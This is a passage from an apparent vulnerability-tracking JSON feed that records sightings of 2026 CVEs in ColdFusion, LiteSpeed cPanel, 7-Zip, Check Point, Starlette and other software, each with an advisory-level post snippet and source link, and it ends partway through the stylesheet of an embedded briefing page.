7d9a\u3055\u308c\u305fColdFusion\u74b0\u5883\u306b\u91cd\u5927\u306a\u30ea\u30b9\u30af\u3092\u3082\u305f\u3089\u3057\u307e\u3059\u3002", "creation_timestamp": "2026-08-04T13:54:45.051241Z"}, {"uuid": "7bfbbbf8-36c7-4b70-88c8-e7fcaf6e9fc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msb6655qnc2c", "content": "\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001Adobe ColdFusion\u3001Joomlack Page Builder\u3001Langflow\u3001\u304a\u3088\u3073JoomShaper SP Page Builder\u306e\u8106\u5f31\u6027\u3092\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u305f\u3002\n\n\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3055\u308c\u305f\u4e0d\u5177\u5408\u306f\u4ee5\u4e0b\u306e\u3068\u304a\u308a\u3067\u3059\u3002\n\nCVE-2026-48282  Adob\u200b\u200be ColdFusion\u306e\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u8106\u5f31\u6027\nCVE-2026-48908  JoomShaper SP Page Builder\u306b\u304a\u3051\u308b\u5371\u967a\u306a\u30bf\u30a4\u30d7\u306e\u30d5\u30a1\u30a4\u30eb\u306e\u7121\u5236\u9650\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u306e\u8106\u5f31\u6027\nCVE-2026-5...", "creation_timestamp": "2026-08-04T13:57:18.494885Z"}, {"uuid": "35baa069-f4cd-489a-aecb-97f6f86ea272", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msb6655qnc2c", "content": "\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001Adobe ColdFusion\u3001Joomlack Page Builder\u3001Langflow\u3001\u304a\u3088\u3073JoomShaper SP Page Builder\u306e\u8106\u5f31\u6027\u3092\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u305f\u3002\n\n\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3055\u308c\u305f\u4e0d\u5177\u5408\u306f\u4ee5\u4e0b\u306e\u3068\u304a\u308a\u3067\u3059\u3002\n\nCVE-2026-48282  Adob\u200b\u200be ColdFusion\u306e\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u8106\u5f31\u6027\nCVE-2026-48908  JoomShaper SP Page Builder\u306b\u304a\u3051\u308b\u5371\u967a\u306a\u30bf\u30a4\u30d7\u306e\u30d5\u30a1\u30a4\u30eb\u306e\u7121\u5236\u9650\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u306e\u8106\u5f31\u6027\nCVE-2026-5...", "creation_timestamp": "2026-08-04T13:57:18.555778Z"}, {"uuid": "1e26f807-8e6b-41a6-911e-40335d6e6bf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4885", "type": "published-proof-of-concept", "source": "Telegram/ZaHXjBqHV5p0kjhml26f_2eMLQEVC_NJ4MXuG-5T_OiTVdE", "content": "", "creation_timestamp": "2026-05-23T21:00:04.000000Z"}, {"uuid": "6f7be653-352a-40a8-9a5f-cf71db88b6f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48832", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116634281312673423", "content": "Our CTI team identified a lot of activities targeting SPIP (CVE-2026-48832) https://vuldb.com/vuln/365470/cti", "creation_timestamp": "2026-05-25T08:31:36.637939Z"}, {"uuid": "cedd9b7f-6182-49bd-9958-ca1e5f9f0a9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48831", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116634548665339892", "content": "The severity is increased for this new vulnerability affecting WineHQ Wine (CVE-2026-48831) https://vuldb.com/vuln/365469", "creation_timestamp": "2026-05-25T09:39:36.321640Z"}, {"uuid": "b24d2925-db23-4fa7-aa17-26523c7269a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48331", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3ms7yvkwznq2t", "content": "Adobe Ships a 10.0 Hole and Calls It Maintenance Discipline\nPANIC 92% | Lag 0.0h | Adobe Campaign Classic contains a critical flaw tracked as CVE-2026-48331, rated CVSS 10.0 and capab\n#AfterShockIndex\nREAD MORE", "creation_timestamp": "2026-08-04T02:50:19.354948Z"}, {"uuid": "975986b5-b271-4593-893b-1e6eb9ba98d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mmooisxq3mt2", "content": "LiteSpeed cPanel Plugin CVE-2026-48172 CVSS 10.0 Exploited A CVSS 10.0 flaw in the LiteSpeed cPanel plugin lets any authenticated user execute arbitrary scripts as root, compromising all tenants on...\n\n#Resources #Application #Security #CVE [\u2026] \n\n[Original post on dailysecurityreview.com]", "creation_timestamp": "2026-05-25T14:23:07.387719Z"}, {"uuid": "f0a66b75-89be-41a1-86a2-d67a777dd768", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "Telegram/tVEH8ExctsIFXe1lSxgIqCxaA1ewqGmPV7eXHzPjZx0qug", "content": "", "creation_timestamp": "2026-05-25T22:24:39.000000Z"}, {"uuid": "d7a4b95d-1b2d-48bc-97c9-899c15c005e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/dragostech.bsky.social/post/3mmqixgpa4s2n", "content": "\ud83d\udea8 CVE-2026-48710(\"BadHost\"): one character in a Host header bypasses path-based authorization across most of the Python AI stack.\n\nLives in Starlette, reaches FastAPI and through it: vLLM (where it was discovered), LiteLLM, TGI, MCP servers, agent harnesses, eval dashboards.\n\ncc @marver.bsky.social", "creation_timestamp": "2026-05-26T07:49:13.496189Z"}, {"uuid": "41660d10-950b-43bf-bddf-542e7a697136", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/dragostech.bsky.social/post/3mmqjd6idtk2n", "content": "\ud83d\udea8CVE-2026-48710(\"BadHost\"): one character in a Host header bypasses path-based authorization across most of the Python AI stack.\n\nLives in Starlette, reaches FastAPI and through it: vLLM (where it was discovered), LiteLLM, TGI, MCP servers, agent harnesses, eval dashboards.\ncc \n@marver.bsky.social", "creation_timestamp": "2026-05-26T07:55:47.138306Z"}, {"uuid": "9040264f-fdab-416d-9f39-a8c82b3c4573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-4858", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-mattermost", "content": "", "creation_timestamp": "2026-05-19T00:51:14.000000Z"}, {"uuid": "4d2e5e5a-149b-483c-ac67-7d8d73bafae7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48589", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mmqmvsowud2x", "content": "CVE-2026-48589: Apache Shiro: Jakarta EE open redirect via untrusted Referer in post-login redirect flow", "creation_timestamp": "2026-05-26T08:59:47.812640Z"}, {"uuid": "66f5ae97-02a5-4fa2-9c80-308fbdb78132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "Telegram/3rrZ3W4m-Z9OuTS_RUHO0Y6_bDA2j9xYkUvKaR9nVqIiWQ", "content": "", "creation_timestamp": "2026-05-23T11:43:23.000000Z"}, {"uuid": "2dd85d50-11ea-4a6c-9fba-7cae9be1e23f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/cybersecurity.page/post/3mmr4pdgnkl25", "content": "A vulnerability, CVE-2026-48095, affects 7-Zip 26.00 and earlier, allowing a heap overflow through renamed files. Fixed in 26.01, it uses content-based detection on files like renamed NTFS images. Discovered by GitHub Security Lab.", "creation_timestamp": "2026-05-26T13:42:30.496831Z"}, {"uuid": "ac6158c9-c7c1-438e-bb14-d6535e53e84f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48131", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmrbclx5mf2r", "content": "CVE-2026-48131 - VPND IKE Fragment Reassembly - Heap Out-of-Bounds Write via Sequence Number Zero\nCVE ID : CVE-2026-48131\n \n Published : May 26, 2026, 2:16 p.m. | 15\u00a0minutes ago\n \n Description : The VPN service may mishandle an unexpected IKE fragment value received on the IKE...", "creation_timestamp": "2026-05-26T15:04:52.024591Z"}, {"uuid": "d1a330df-157d-4649-999f-c7086622df61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48135", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmrbnfchnj2c", "content": "CVE-2026-48135 - HTTP service can incorrectly process malformed HTTP requests\nCVE ID : CVE-2026-48135\n \n Published : May 26, 2026, 2:16 p.m. | 15\u00a0minutes ago\n \n Description : A Check Point HTTP-based service can incorrectly handle malformed HTTP requests.\nThe issue is related ...", "creation_timestamp": "2026-05-26T15:10:53.959427Z"}, {"uuid": "b3902017-dfac-4d74-beaf-6d7b6ca91fd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48133", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmrbrjo2xd2v", "content": "CVE-2026-48133 - Identity Awareness Captive Portal - Unauthenticated Local File Inclusion\nCVE ID : CVE-2026-48133\n \n Published : May 26, 2026, 2:16 p.m. | 15\u00a0minutes ago\n \n Description : When the Identity Awareness blade is enabled with Browser-Based Authentication, an unauthe...", "creation_timestamp": "2026-05-26T15:13:12.891371Z"}, {"uuid": "a0afe97f-3747-49a6-b2b0-7e3aacd06a2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48134", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmrbvz3xfd2q", "content": "CVE-2026-48134 - SQL injection issue in UserCheck Portal when DLP Software Blade is active\nCVE ID : CVE-2026-48134\n \n Published : May 26, 2026, 2:16 p.m. | 15\u00a0minutes ago\n \n Description : When the DLP is active, the UserCheck Web Portal contains an input-handling issue in the ...", "creation_timestamp": "2026-05-26T15:15:43.203967Z"}, {"uuid": "f5d71a01-dc1a-451f-9533-874dcff23be6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48132", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmrcgal5mv2i", "content": "CVE-2026-48132 - VPN service may restart unexpectedly when processing IKE traffic over NAT-T 4500/UDP\nCVE ID : CVE-2026-48132\n \n Published : May 26, 2026, 2:16 p.m. | 15\u00a0minutes ago\n \n Description : The Security Gateway does not correctly validate a length value in certain IKE...", "creation_timestamp": "2026-05-26T15:24:48.052470Z"}, {"uuid": "d3b1d11c-d1c7-4725-ae17-e1176d6c83f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48136", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmrcmxmhyr2p", "content": "CVE-2026-48136 - Authenticated Administrator Role-Based Access Control Bypass in Compliance\nCVE ID : CVE-2026-48136\n \n Published : May 26, 2026, 2:16 p.m. | 15\u00a0minutes ago\n \n Description : When Compliance is enabled on Check Point Multi-Domain Management, an authenticated admi...", "creation_timestamp": "2026-05-26T15:28:33.586452Z"}, {"uuid": "6d4f9ef8-f671-44ce-9a66-7a8fd92c45a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mmrialzedq2u", "content": "\u65b0\u305f\u306a7-Zip\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u4efb\u610f\u30b3\u30fc\u30c9\u5b9f\u884c\u304c\u53ef\u80fd\u306b\n\n7-Zip\u30d0\u30fc\u30b8\u30e7\u30f326.00\u306b\u304a\u3044\u3066\u3001\u6df1\u523b\u306a\u30d2\u30fc\u30d7\u30d0\u30c3\u30d5\u30a1\u30aa\u30fc\u30d0\u30fc\u30d5\u30ed\u30fc\u8106\u5f31\u6027\uff08CVE-2026-48095 / GHSL-2026-140\uff09\u304c\u516c\u958b\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u5e83\u304f\u5229\u7528\u3055\u308c\u3066\u3044\u308b\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u306e\u30a2\u30fc\u30ab\u30a4\u30d6\u30e6\u30fc\u30c6\u30a3\u30ea\u30c6\u30a3\u306eNTFS\u30cf\u30f3\u30c9\u30e9\u306b\u5f71\u97ff\u3057\u307e\u3059\u3002 \u3053\u306e\u6b20\u9665\u306b\u3088\u308a\u3001\u653b\u6483\u8005\u306f\u53e4\u5178\u7684\u306avtable\u30cf\u30a4\u30b8", "creation_timestamp": "2026-05-26T17:09:01.094348Z"}, {"uuid": "ab309e9c-3229-4dc9-bd8c-6190c00513aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48848", "type": "seen", "source": "https://www.acn.gov.it/portale/w/vulnerabilita-in-roundcube-webmail-3", "content": "", "creation_timestamp": "2026-05-26T06:30:12.000000Z"}, {"uuid": "78d5407f-101d-4e90-aede-1088657b9440", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48844", "type": "seen", "source": "https://www.acn.gov.it/portale/w/vulnerabilita-in-roundcube-webmail-3", "content": "", "creation_timestamp": "2026-05-26T06:30:12.000000Z"}, {"uuid": "b26cee60-7e1c-4c23-a03a-d0da494425fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48843", "type": "seen", "source": "https://www.acn.gov.it/portale/w/vulnerabilita-in-roundcube-webmail-3", "content": "", "creation_timestamp": "2026-05-26T06:30:12.000000Z"}, {"uuid": "80365802-3cb4-40d7-b16b-db6fc21c33b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48842", "type": "seen", "source": "https://www.acn.gov.it/portale/w/vulnerabilita-in-roundcube-webmail-3", "content": "", "creation_timestamp": "2026-05-26T06:30:12.000000Z"}, {"uuid": "a82739a2-be67-4347-9a7e-25c8b6870652", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0181eb9a-faf8-4072-8417-ae685deac9a0", "content": "", "creation_timestamp": "2026-05-26T18:00:01.632999Z"}, {"uuid": "94318a12-a346-41c2-9844-c0c595e6df55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mmrl5c3ifd2s", "content": "\ud83d\uded1 CVE-2026-48172\nLiteSpeed cPanel Plugin\nCVSS 10.0 / EPSS 0% / KEV\nTL;DR: LiteSpeed User-End cPanel Plugin before 2.4.5 allows privilege escalation (poss\u2026\nhttps://cvesentinel.replit.app/report/CVE-2026-48172?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-05-26T18:00:51.158061Z"}, {"uuid": "450d3749-8272-4c50-aa1c-35decf749ca1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/6582504", "content": "2026-05-26: [CVE-2026-48172] LiteSpeed cPanel Plugin Privilege Escalation VulnerabilityLiteSpeed cPanel Plugin contains privilege escalation vulnerability that is exposed via the user-end cPanel plugin, which can be abused by any cPanel user account to execute arbitrary scripts with root privileges.\ncisakev", "creation_timestamp": "2026-05-26T18:25:47.715850Z"}, {"uuid": "3bf4f494-b487-46e4-b5b5-4b6c05e40d85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/cyberkendra.com/post/3mmrmskrz6k2p", "content": "\ud83d\udea8 A serious security flaw called \"BadHost\" (CVE-2026-48710) was just disclosed. It affects FastAPI, vLLM, LiteLLM, and most apps built on Starlette.\nRead Details- www.cyberkendra.com/2026/05/badh...\nPass this on to your dev team if they ship Python APIs. \ud83d\ude4f", "creation_timestamp": "2026-05-26T18:30:45.875104Z"}, {"uuid": "561a1286-d8d7-4b80-8802-ca39ccc7dd0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48686", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3mmroihdyss2w", "content": "\ud83d\udea8 EUVD-2026-31950\n\ud83d\udcca n/a\n\n\ud83d\udcdd FastNetMon Community Edition through 1.2.9 has a buffer overflow, a different vulnerability than CVE-2026-48686 and CVE-2026-48689.\n\n\ud83d\udd17 https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-31950\n\n#cybersecurity #infosec #cve #euvd", "creation_timestamp": "2026-05-26T19:00:46.830584Z"}, {"uuid": "480124be-3a02-4d1f-a5a7-cc46b1f3d9a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48689", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3mmroihdyss2w", "content": "\ud83d\udea8 EUVD-2026-31950\n\ud83d\udcca n/a\n\n\ud83d\udcdd FastNetMon Community Edition through 1.2.9 has a buffer overflow, a different vulnerability than CVE-2026-48686 and CVE-2026-48689.\n\n\ud83d\udd17 https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-31950\n\n#cybersecurity #infosec #cve #euvd", "creation_timestamp": "2026-05-26T19:00:46.982513Z"}, {"uuid": "d47876d7-5c62-40b7-9273-54680c700165", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/aidoo-noticias.bsky.social/post/3mmrsan63on2z", "content": "Alerta: BadHost (CVE-2026-48710) en Starlette permite eludir autorizaci\u00f3n por rutas con 1 car\u00e1cter en Host; impacta FastAPI, vLLM, LiteLLM y servidores ASGI/MCP. Actualiza a 1.0.1. #Ciberseguridad #Python", "creation_timestamp": "2026-05-26T20:08:00.536479Z"}, {"uuid": "8c5ac083-4a7e-48f3-aecf-d1a560e6be6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://gist.github.com/stone776/5e4e8b2ab887a1d47603282d5260e8d2", "content": "\n\n\n    \n    \n    TARDIS Intelligence Briefing \u2014 2026-05-26\n    \n    \n        *, *::before, *::after { margin: 0; padding: 0; box-sizing: border-box; }\n        :root {\n            --tardis-deep: #020b18; --tardis-dark: #061627; --tardis-mid: #0c2240;\n            --tardis-surface: #0f2a4a; --tardis-panel: #132f52; --tardis-edge: #1a3d66;\n            --tardis-blue: #1e6fba; --tardis-blue-bright: #3498db;\n            --tardis-blue-glow: rgba(52,152,219,0.15); --tardis-gold: #f4c430;\n            --tardis-gold-dim: rgba(244,196,48,0.12); --tardis-amber: #e89e2d;\n            --tardis-green: #50c878; --tardis-green-soft: rgba(80,200,120,0.12);\n            --tardis-red: #e74c3c; --tardis-text: #c8dce8;\n            --tardis-text-dim: #7a9ab8; --tardis-text-muted: #4a6a85;\n        }\n        body { background:var(--tardis-deep); color:var(--tardis-text); font-family:'Rajdhani',sans-serif; font-weight:400; min-height:100vh; line-height:1.55; }\n        ::-webkit-scrollbar { width:5px; } ::-webkit-scrollbar-track { background:var(--tardis-deep); } ::-webkit-scrollbar-thumb { background:var(--tardis-edge); border-radius:3px; }\n        .console-header { background:var(--tardis-dark); border-bottom:2px solid var(--tardis-blue); padding:16px 36px; display:flex; align-items:center; justify-content:space-between; position:relative; overflow:hidden; }\n        .console-header::before { content:''; position:absolute; top:0; left:0; right:0; height:2px; background:linear-gradient(90deg,transparent 0%,var(--tardis-blue-bright) 30%,var(--tardis-gold) 50%,var(--tardis-blue-bright) 70%,transparent 100%); }\n        .console-brand { display:flex; align-items:center; gap:14px; }\n        .tardis-icon { width:38px; height:38px; border:2px solid var(--tardis-blue); border-radius:4px; display:flex; align-items:center; justify-content:center; background:var(--tardis-mid); flex-shrink:0; }\n        .tardis-icon::before { content:''; width:10px; height:10px; background:var(--tardis-gold); border-radius:50%; }\n        .console-title-block { display:flex; flex-direction:column; gap:2px; }\n        .console-title { font-family:'Orbitron',sans-serif; font-size:1.05em; font-weight:700; text-transform:uppercase; letter-spacing:0.14em; color:var(--tardis-gold); }\n        .console-subtitle { font-family:'Share Tech Mono',monospace; font-size:0.7em; color:var(--tardis-text-dim); text-transform:uppercase; letter-spacing:0.18em; }\n        .console-readout { display:flex; align-items:center; gap:24px; }\n        .readout-date { font-family:'Share Tech Mono',monospace; font-size:1.1em; color:var(--tardis-gold); letter-spacing:0.06em; }\n        .readout-classification { font-family:'Orbitron',sans-serif; font-size:0.62em; font-weight:700; text-transform:uppercase; letter-spacing:0.12em; color:var(--tardis-text-dim); background:var(--tardis-mid); border:1px solid var(--tardis-edge); padding:5px 14px; border-radius:3px; }\n        .weather-readout { font-family:'Share Tech Mono',monospace; color:var(--tardis-text-dim); font-size:0.85rem; letter-spacing:0.5px; }\n        .page-layout { display:grid; grid-template-columns:200px 1fr; min-height:calc(100vh - 74px); }\n        .nav-sidebar { background:var(--tardis-dark); border-right:1px solid var(--tardis-edge); padding:28px 0; position:sticky; top:0; height:calc(100vh - 74px); overflow-y:auto; }\n        .nav-sidebar::-webkit-scrollbar { width:3px; } .nav-sidebar::-webkit-scrollbar-thumb { background:var(--tardis-edge); }\n        .nav-label { font-family:'Orbitron',sans-serif; font-size:0.58em; font-weight:700; text-transform:uppercase; letter-spacing:0.2em; color:var(--tardis-text-muted); padding:0 20px 12px; }\n        .nav-item { display:flex; align-items:center; gap:10px; padding:9px 20px; cursor:pointer; border-left:3px solid transparent; text-decoration:none; color:var(--tardis-text-dim); font-family:'Rajdhani',sans-serif; font-size:0.85em; font-weight:500; line-height:1.2; }\n        .nav-item:hover { color:var(--tardis-text); background:var(--tardis-mid); border-left-color:var(--tardis-blue-bright); }\n        .nav-num { font-family:'Share Tech Mono',monospace; font-size:0.78em; color:var(--tardis-text-muted); width:18px; text-align:right; flex-shrink:0; }\n        .nav-divider { height:1px; background:var(--tardis-edge); margin:12px 20px; }\n        .main-content { padding:32px 40px 60px; max-width:960px; }\n        .section-chrome { border:1px solid var(--tardis-edge); border-radius:6px; overflow:hidden; background:var(--tardis-dark); margin-bottom:28px; }\n        .section-chrome-header { background:var(--tardis-mid); padding:11px 18px; display:flex; align-items:center; justify-content:space-between; border-bottom:1px solid var(--tardis-edge); }\n        .section-header-left { display:flex; align-items:center; gap:9px; }\n        .section-title { font-family:'Orbitron',sans-serif; font-size:0.68em; font-weight:700; text-transform:uppercase; letter-spacing:0.16em; color:var(--tardis-text); }\n        .section-date { font-family:'Share Tech Mono',monospace; font-size:0.72em; color:var(--tardis-text-dim); background:var(--tardis-dark); padding:2px 9px; border-radius:3px; border:1px solid var(--tardis-edge); }\n        .section-indicator { width:8px; height:8px; border-radius:50%; display:inline-block; flex-shrink:0; }\n        .section-chrome-body { padding:22px 24px; }\n        .bluf-block { border-left:3px solid var(--tardis-gold); background:var(--tardis-gold-dim); padding:12px 16px; margin-bottom:18px; border-radius:0 4px 4px 0; }\n        .bluf-label { font-family:'Orbitron',sans-serif; font-size:0.58em; font-weight:700; text-transform:uppercase; letter-spacing:0.2em; color:var(--tardis-gold); margin-bottom:5px; display:block; }\n        .bluf-text { font-family:'Rajdhani',sans-serif; font-size:1.05em; font-weight:600; color:var(--tardis-text); line-height:1.4; }\n        .story { margin-bottom:22px; padding-bottom:22px; border-bottom:1px solid var(--tardis-edge); }\n        .story:last-child { border-bottom:none; margin-bottom:0; padding-bottom:0; }\n        .story-headline { font-family:'Rajdhani',sans-serif; font-size:1.08em; font-weight:700; color:var(--tardis-text); margin-bottom:5px; line-height:1.3; }\n        .story-meta { font-family:'Share Tech Mono',monospace; font-size:0.75em; color:var(--tardis-text-muted); margin-bottom:10px; display:flex; gap:8px; align-items:center; flex-wrap:wrap; }\n        .story-tag { font-family:'Orbitron',sans-serif; font-size:0.65em; font-weight:700; text-transform:uppercase; letter-spacing:0.1em; padding:2px 7px; border-radius:3px; }\n        .story-tag-lead { background:rgba(231,76,60,0.15); color:var(--tardis-red); border:1px solid rgba(231,76,60,0.3); }\n        .story-tag-include { background:rgba(52,152,219,0.1); color:var(--tardis-blue-bright); border:1px solid rgba(52,152,219,0.25); }\n        .story-source { color:var(--tardis-blue-bright); }\n        .story-date { color:var(--tardis-text-muted); }\n        .story-facts { list-style:none; margin-bottom:10px; }\n        .story-facts li { padding:5px 0 5px 18px; position:relative; border-bottom:1px solid rgba(26,61,102,0.25); font-size:0.95em; color:var(--tardis-text); line-height:1.45; }\n        .story-facts li:last-child { border-bottom:none; }\n        .story-facts li::before { content:''; position:absolute; left:0; top:12px; width:6px; height:6px; border:1px solid var(--tardis-blue-bright); border-radius:1px; transform:rotate(45deg); }\n        .story-context { font-size:0.9em; color:var(--tardis-text-muted); line-height:1.55; margin-top:10px; font-style:italic; border-left:2px solid var(--tardis-edge); padding-left:12px; }\n        .open-question { font-size:0.88em; color:var(--tardis-text-muted); font-style:italic; margin-top:8px; padding-left:14px; position:relative; }\n        .open-question::before { content:'?'; position:absolute; 